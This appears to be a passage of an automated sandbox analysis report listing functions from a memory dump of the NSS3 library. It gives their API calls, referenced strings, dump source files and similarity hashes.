Part of subcall function 6C7610C0: PR_Unlock.NSS3(?,?,?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C761182
Part of subcall function 6C7610C0: TlsGetValue.KERNEL32(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76119C

PORT_ArenaAlloc_Util.NSS3(?,?,?,?,?,?), ref: 6C75FE1D

Part of subcall function 6C7610C0: PL_ArenaAllocate.NSS3(?,6C708802,00000000,00000008,?,6C6FEF74,00000000), ref: 6C76116E

PORT_Alloc_Util.NSS3(0000000C,00000000,?,?), ref: 6C75FE29
PORT_Alloc_Util.NSS3(?,?,?,?), ref: 6C75FE3D
memcpy.VCRUNTIME140(00000000,?,?,?,?,?,?), ref: 6C75FE62
free.MOZGLUE(00000000,?,?,?,?), ref: 6C75FE6F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil$AllocateValue$CriticalEnterSectionUnlockfreememcpy
String ID:
API String ID: 660648399-0
Opcode ID: 22648466e61affb551e79afd1c79f0c1ac1a35201c00076f4e1d0f6893526741
Instruction ID: 3e9c49d55286facb0a5e8a001848568f0da1a5d593b346a8e3efd70e902a1a29
Opcode Fuzzy Hash: 22648466e61affb551e79afd1c79f0c1ac1a35201c00076f4e1d0f6893526741
Instruction Fuzzy Hash: 07110CB67012456BEB004F65ED48A5B73DCAF54399F548034ED1D87F12EB31E924CB91

Function 6C80FD90 Relevance: 9.1, APIs: 6, Instructions: 51COMMON

Download Yara Rule

APIs

PR_Lock.NSS3 ref: 6C80FD9E

Part of subcall function 6C7C9BA0: TlsGetValue.KERNEL32(00000000,00000000,?,6C6F1A48), ref: 6C7C9BB3
Part of subcall function 6C7C9BA0: EnterCriticalSection.KERNEL32(?,?,?,?,6C6F1A48), ref: 6C7C9BC8

PR_WaitCondVar.NSS3(000000FF), ref: 6C80FDB9

Part of subcall function 6C6EA900: TlsGetValue.KERNEL32(00000000,?,6C8614E4,?,6C684DD9), ref: 6C6EA90F
Part of subcall function 6C6EA900: _PR_MD_WAIT_CV.NSS3(?,?,?), ref: 6C6EA94F

PR_Unlock.NSS3 ref: 6C80FDD4
PR_Lock.NSS3 ref: 6C80FDF2
PR_NotifyAllCondVar.NSS3 ref: 6C80FE0D
PR_Unlock.NSS3 ref: 6C80FE23

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CondLockUnlockValue$CriticalEnterNotifySectionWait
String ID:
API String ID: 3365241057-0
Opcode ID: 6f8a52d335418de6fc89113cd132bc7bed251e048130b022acf70e3fa59c141d
Instruction ID: eaa54d5b863c20afa3551d550dea2b2534dfb591bfcdfff414a3d8b64278615f
Opcode Fuzzy Hash: 6f8a52d335418de6fc89113cd132bc7bed251e048130b022acf70e3fa59c141d
Instruction Fuzzy Hash: A10182B6A04201AFDF254E16FD048527632BB2236C7154775E82547BA2EB22DD28C6C6

Function 6C6EAE30 Relevance: 9.0, APIs: 1, Strings: 4, Instructions: 231COMMON

Download Yara Rule

APIs

sqlite3_log.NSS3(00000015,%s at line %d of [%.10s],misuse,00029CDD,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C6EAFDA

Strings

unable to delete/modify collation sequence due to active statements, xrefs: 6C6EAF5C
%s at line %d of [%.10s], xrefs: 6C6EAFD3
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C6EAFC4
misuse, xrefs: 6C6EAFCE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$misuse$unable to delete/modify collation sequence due to active statements
API String ID: 632333372-924978290
Opcode ID: afb8403d4f40ff72dfca35753e2119a4b8c9f3f45b1215c070269c65179e720d
Instruction ID: dc54658fbb1fd157ae38d6203d31755852c87cc853a1950ee311fc746f70b8e4
Opcode Fuzzy Hash: afb8403d4f40ff72dfca35753e2119a4b8c9f3f45b1215c070269c65179e720d
Instruction Fuzzy Hash: 2391F675B0A2158FDB14CF59C850BAABBF1BF89314F1945A9E855AB752C330EC01CBA8

Function 6C74FC30 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 156stringCOMMON

Download Yara Rule

APIs

PL_strncasecmp.NSS3(?,pkcs11:,00000007), ref: 6C74FC55
strcmp.API-MS-WIN-CRT-STRING-L1-1-0(?,?), ref: 6C74FCB2
PR_SetError.NSS3(FFFFE040,00000000), ref: 6C74FDB7
PR_SetError.NSS3(FFFFE09A,00000000), ref: 6C74FDDE

Part of subcall function 6C758800: TlsGetValue.KERNEL32(?,6C76085A,00000000,?,6C708369,?), ref: 6C758821
Part of subcall function 6C758800: TlsGetValue.KERNEL32(?,?,6C76085A,00000000,?,6C708369,?), ref: 6C75883D
Part of subcall function 6C758800: EnterCriticalSection.KERNEL32(?,?,?,6C76085A,00000000,?,6C708369,?), ref: 6C758856
Part of subcall function 6C758800: PR_WaitCondVar.NSS3(?,?,?,?,?,?,?,?,?,?,?,?,?,00000013,?), ref: 6C758887
Part of subcall function 6C758800: PR_Unlock.NSS3(?,?,?,?,6C76085A,00000000,?,6C708369,?), ref: 6C758899

Strings

pkcs11:, xrefs: 6C74FC4F

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: ErrorValue$CondCriticalEnterL_strncasecmpSectionUnlockWaitstrcmp
String ID: pkcs11:
API String ID: 362709927-2446828420
Opcode ID: 2b9d3280f9eea6518793e466ca9a1f5c50d1d11e797385f9778b879fc91a7f42
Instruction ID: 9acd59750a28840407b7a6501f01514909edeba5a911184926c5cc3db70710bb
Opcode Fuzzy Hash: 2b9d3280f9eea6518793e466ca9a1f5c50d1d11e797385f9778b879fc91a7f42
Instruction Fuzzy Hash: F451F0B1A40211ABEB108F699F4AFAA3365AF4135CF548075DD146BB81EB30E814CFA2

Function 6C68BDA0 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 94COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(00000000,?,?), ref: 6C68BE02

Part of subcall function 6C7B9C40: memcmp.VCRUNTIME140(?,00000000,6C68C52B), ref: 6C7B9D53

sqlite3_log.NSS3(0000000B,%s at line %d of [%.10s],database corruption,00014A8E,9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4), ref: 6C68BE9F

Strings

database corruption, xrefs: 6C68BE93
%s at line %d of [%.10s], xrefs: 6C68BE98
9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4, xrefs: 6C68BE89

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: memcmp$sqlite3_log
String ID: %s at line %d of [%.10s]$9547e2c38a1c6f751a77d4d796894dec4dc5d8f5d79b1cd39e1ffc50df7b3be4$database corruption
API String ID: 1135338897-598938438
Opcode ID: 543463517c4c037c1904ecc1e57fb459065f4de38996540a2ba8dd0db2e6fad7
Instruction ID: d115f833f3db6ce0b8eb3292e7153cabc54ab2757b2e5513756afe9fd5ad510a
Opcode Fuzzy Hash: 543463517c4c037c1904ecc1e57fb459065f4de38996540a2ba8dd0db2e6fad7
Instruction Fuzzy Hash: 05314731A456668FC700CF68CC9CAABBBB1AF86394B098554EE581BB41D370EC06C3F4

Function 6C701EC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 74timeCOMMON

Download Yara Rule

APIs

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701EE2

Part of subcall function 6C761820: DER_GeneralizedTimeToTime_Util.NSS3(?,?,?,6C701D97,?,?), ref: 6C761836

DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F13
DER_DecodeTimeChoice_Util.NSS3(?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F37
DER_DecodeTimeChoice_Util.NSS3(?,dLpl,?,?,?,?,?,?,?,?,00000000,00000000,?,6C704C64,?,-00000004), ref: 6C701F53

Strings

dLpl, xrefs: 6C701F2B, 6C701F51

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: TimeUtil$Choice_Decode$GeneralizedTime_
String ID: dLpl
API String ID: 3216063065-2277220201
Opcode ID: c742bc8eaf3ddd5f733f3637fccf369722c575ba901f07f421d9f2e7593bbd74
Instruction ID: b50554a6085f9c85fe04e9dffab03a80b39ea1959930556df6a56bed280fc5e5
Opcode Fuzzy Hash: c742bc8eaf3ddd5f733f3637fccf369722c575ba901f07f421d9f2e7593bbd74
Instruction Fuzzy Hash: C02150B1605216AFC740CE2ADE04A9BB7E9AB8479DF40092DEC44C3A40F730E558CBD2

Function 6C6F0DC0 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 51stringCOMMON

Download Yara Rule

APIs

strrchr.VCRUNTIME140(00000000,0000005C,00000000,00000000,00000000,?,6C6F0BDE), ref: 6C6F0DCB
strrchr.VCRUNTIME140(00000000,0000005C,?,6C6F0BDE), ref: 6C6F0DEA
_stricmp.API-MS-WIN-CRT-STRING-L1-1-0(00000001,00000001,?,?,?,6C6F0BDE), ref: 6C6F0DFC
PR_LogPrint.NSS3(%s incr => %d (find lib),?,?,?,?,?,?,?,6C6F0BDE), ref: 6C6F0E32

Strings

%s incr => %d (find lib), xrefs: 6C6F0E2D

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: strrchr$Print_stricmp
String ID: %s incr => %d (find lib)
API String ID: 97259331-2309350800
Opcode ID: 2d37711696f4cd68a0e1c7e2979916f6e72e4692ec1c8c21af71f509f5a82ce1
Instruction ID: 81bb00edc7817f264eb9a21175458e3463a9a07a2e82cfef28ecfa9243259a20
Opcode Fuzzy Hash: 2d37711696f4cd68a0e1c7e2979916f6e72e4692ec1c8c21af71f509f5a82ce1
Instruction Fuzzy Hash: FE01F1727002149FE6308F298C49E67B3EEDB45B08B04487DE909D3A42E761EC16CBE1

Function 6C7AAC00 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 45COMMON

Download Yara Rule

APIs

PK11_FreeSymKey.NSS3(?,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC2D

Part of subcall function 6C74ADC0: TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE10
Part of subcall function 6C74ADC0: EnterCriticalSection.KERNEL32(?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE24
Part of subcall function 6C74ADC0: PR_Unlock.NSS3(?,?,?,?,?,?,6C72D079,00000000,00000001), ref: 6C74AE5A
Part of subcall function 6C74ADC0: memset.VCRUNTIME140(85145F8B,00000000,8D1474DB,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE6F
Part of subcall function 6C74ADC0: free.MOZGLUE(85145F8B,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AE7F
Part of subcall function 6C74ADC0: TlsGetValue.KERNEL32(?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEB1
Part of subcall function 6C74ADC0: EnterCriticalSection.KERNEL32(?,?,?,?,?,?,?,?,?,?,6C72CDBB,?,6C72D079,00000000,00000001), ref: 6C74AEC9

PK11_FreeSymKey.NSS3(?,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC44
SECITEM_ZfreeItem_Util.NSS3(8CB6FF15,00000000,@]yl,00000000,?,?,6C786AC6,?), ref: 6C7AAC59
free.MOZGLUE(8CB6FF01,6C786AC6,?,?,?,?,?,?,?,?,?,?,6C795D40,00000000,?,6C79AAD4), ref: 6C7AAC62

Strings

@]yl, xrefs: 6C7AAC05

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalEnterFreeK11_SectionValuefree$Item_UnlockUtilZfreememset
String ID: @]yl
API String ID: 1595327144-1691211022
Opcode ID: 160e891dab6f24cec4b214c534612e3bc929b7585f2df50a7318ca8fcc5be063
Instruction ID: 5c0ef5fc7182319a61cd9911c43402cb4a8f5671bead164b9ab68f33ecf3ad60
Opcode Fuzzy Hash: 160e891dab6f24cec4b214c534612e3bc929b7585f2df50a7318ca8fcc5be063
Instruction Fuzzy Hash: FD014FB56002009FEB10DF55EAC5B5677A8AF4476CF188078E9498F706D735E845CFA2

Function 6C699C60 Relevance: 7.8, APIs: 6, Instructions: 262COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(?), ref: 6C699CF2
LeaveCriticalSection.KERNEL32(?), ref: 6C699D45
EnterCriticalSection.KERNEL32(?), ref: 6C699D8B
LeaveCriticalSection.KERNEL32(?), ref: 6C699DDE

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID:
API String ID: 3168844106-0
Opcode ID: af7f1fd9746e0b2d04a47622d295a6ed90fdec4760f7a7c224e9b720fbf50b1f
Instruction ID: 7cd1e0245c7cc6127651dd72ca58e7ce6ed8f7033ce3e1cc0a4670c99fc2caf8
Opcode Fuzzy Hash: af7f1fd9746e0b2d04a47622d295a6ed90fdec4760f7a7c224e9b720fbf50b1f
Instruction Fuzzy Hash: 1EA1AC31B041018FEB68DF65E99867E3771BB8771DF18113CE40A47A41DB3AA846CBCA

Function 6C721E70 Relevance: 7.7, APIs: 5, Instructions: 207COMMON

Download Yara Rule

APIs

PR_EnterMonitor.NSS3(?), ref: 6C721ECC

Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90AB
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C90C9
Part of subcall function 6C7C9090: EnterCriticalSection.KERNEL32 ref: 6C7C90E5
Part of subcall function 6C7C9090: TlsGetValue.KERNEL32 ref: 6C7C9116
Part of subcall function 6C7C9090: LeaveCriticalSection.KERNEL32 ref: 6C7C913F

TlsGetValue.KERNEL32 ref: 6C721EDF
EnterCriticalSection.KERNEL32(?), ref: 6C721EEF
PR_ExitMonitor.NSS3(?), ref: 6C721F37
PR_Unlock.NSS3(?), ref: 6C721F44

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: Value$CriticalEnterSection$Monitor$ExitLeaveUnlock
String ID:
API String ID: 3539092540-0
Opcode ID: 948a353427732d696c24b7f33c8275603a9dd50144968edd164e7d940dc96245
Instruction ID: fb305ad0068a0292aa1b1909054c27e76d5d993bf23bb6baf98250f6048be039
Opcode Fuzzy Hash: 948a353427732d696c24b7f33c8275603a9dd50144968edd164e7d940dc96245
Instruction Fuzzy Hash: CF71BE729083019FD720CF24D944A5BB7F5FF88358F144929E8A893B21E736F959CB92

Function 6C7ADD70 Relevance: 7.7, APIs: 5, Instructions: 179COMMON

Download Yara Rule

APIs

TlsGetValue.KERNEL32 ref: 6C7ADD8C
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADDB4
LeaveCriticalSection.KERNEL32(00000000), ref: 6C7ADE1B
ReleaseSemaphore.KERNEL32(?,00000001,00000000), ref: 6C7ADE77

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalLeaveSection$ReleaseSemaphoreValue
String ID:
API String ID: 2700453212-0
Opcode ID: deec06b65b3a778f0e7bfbc5fa628838e09cc1cc42c6d9835a9339e1be34b9fd
Instruction ID: ebee2bd04381fb5372e047a0b9ad1bf48565f17c5f155adf9c11d210776d2c88
Opcode Fuzzy Hash: deec06b65b3a778f0e7bfbc5fa628838e09cc1cc42c6d9835a9339e1be34b9fd
Instruction Fuzzy Hash: C1715571A04314CFDB20CF99C68468AB7B4BF69718F25827EDD696B702D770A942CF80

Function 6C71DFA0 Relevance: 7.6, APIs: 5, Instructions: 143COMMON

Download Yara Rule

APIs

Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(D958E852,6C721397,5B5F5EC0,?,?,6C71B1EE,2404110F,?,?), ref: 6C71AB3C
Part of subcall function 6C71AB10: free.MOZGLUE(D958E836,?,6C71B1EE,2404110F,?,?), ref: 6C71AB49
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(5D5E6C91), ref: 6C71AB5C
Part of subcall function 6C71AB10: free.MOZGLUE(5D5E6C85), ref: 6C71AB63
Part of subcall function 6C71AB10: DeleteCriticalSection.KERNEL32(0148B821,?,2404110F,?,?), ref: 6C71AB6F
Part of subcall function 6C71AB10: free.MOZGLUE(0148B805,?,2404110F,?,?), ref: 6C71AB76

TlsGetValue.KERNEL32(?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71DFDA
EnterCriticalSection.KERNEL32(?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71DFF3
PK11_IsFriendly.NSS3(?,?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71E029
PK11_IsLoggedIn.NSS3 ref: 6C71E046

Part of subcall function 6C728F70: PK11_GetInternalKeySlot.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FAF
Part of subcall function 6C728F70: PR_Now.NSS3(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FD1
Part of subcall function 6C728F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C728FFA
Part of subcall function 6C728F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729013
Part of subcall function 6C728F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729042
Part of subcall function 6C728F70: TlsGetValue.KERNEL32(?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?,00000007), ref: 6C72905A
Part of subcall function 6C728F70: EnterCriticalSection.KERNEL32(?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353,?), ref: 6C729073
Part of subcall function 6C728F70: PR_Unlock.NSS3(?,?,?,?,00000002,?,?,?,6C71DA9B,?,00000000,?,?,?,?,CE534353), ref: 6C729111

PR_Unlock.NSS3(?,?,?,?,6C71B266,6C7215C6,?,?,6C7215C6), ref: 6C71E149

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c680000_file.jbxd

Similarity

API ID: CriticalSection$DeleteEnterK11_UnlockValuefree$FriendlyInternalLoggedSlot
String ID:
API String ID: 4224391822-0
Opcode ID: 2ec75624786c26a49346aaa8fc4184e08301f3f5f63a519c1f90b744567a01db
Instruction ID: 688e2aed540ab24ec71dddfe0f11ef589b23f38611c01bce4ee87e2c00effdb8
Opcode Fuzzy Hash: 2ec75624786c26a49346aaa8fc4184e08301f3f5f63a519c1f90b744567a01db
Instruction Fuzzy Hash: 67515C74608605CFDB10DF29C68876ABBF1BF44318F29896CD8998BF41D731E984CB81

Function 6C72BE90 Relevance: 7.6, APIs: 5, Instructions: 141COMMON

Download Yara Rule

APIs

SEC_ASN1EncodeItem_Util.NSS3(00000000,00000000,?,?), ref: 6C72BF06
SECITEM_ZfreeItem_Util.NSS3(00000000,00000001), ref: 6C72BF56
PR_SetError.NSS3(FFFFE005,00000000,?,?,6C709F71,?,?,00000000), ref: 6C72BF7F
CERT_DestroyCertificate.NSS3(00000000), ref: 6C72BFA9
SECITEM_ZfreeItem_Util.NSS3(?,00000001), ref: 6C72C014

Memory Dump Source

Source File: 00000000.00000002.2072058799.000000006C681000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C680000, based on PE: true

Associated: 00000000.00000002.2072038622.000000006C680000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072199583.000000006C81F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072241288.000000006C85E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072263709.000000006C85F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072284401.000000006C860000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.2072311856.000000006C865000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

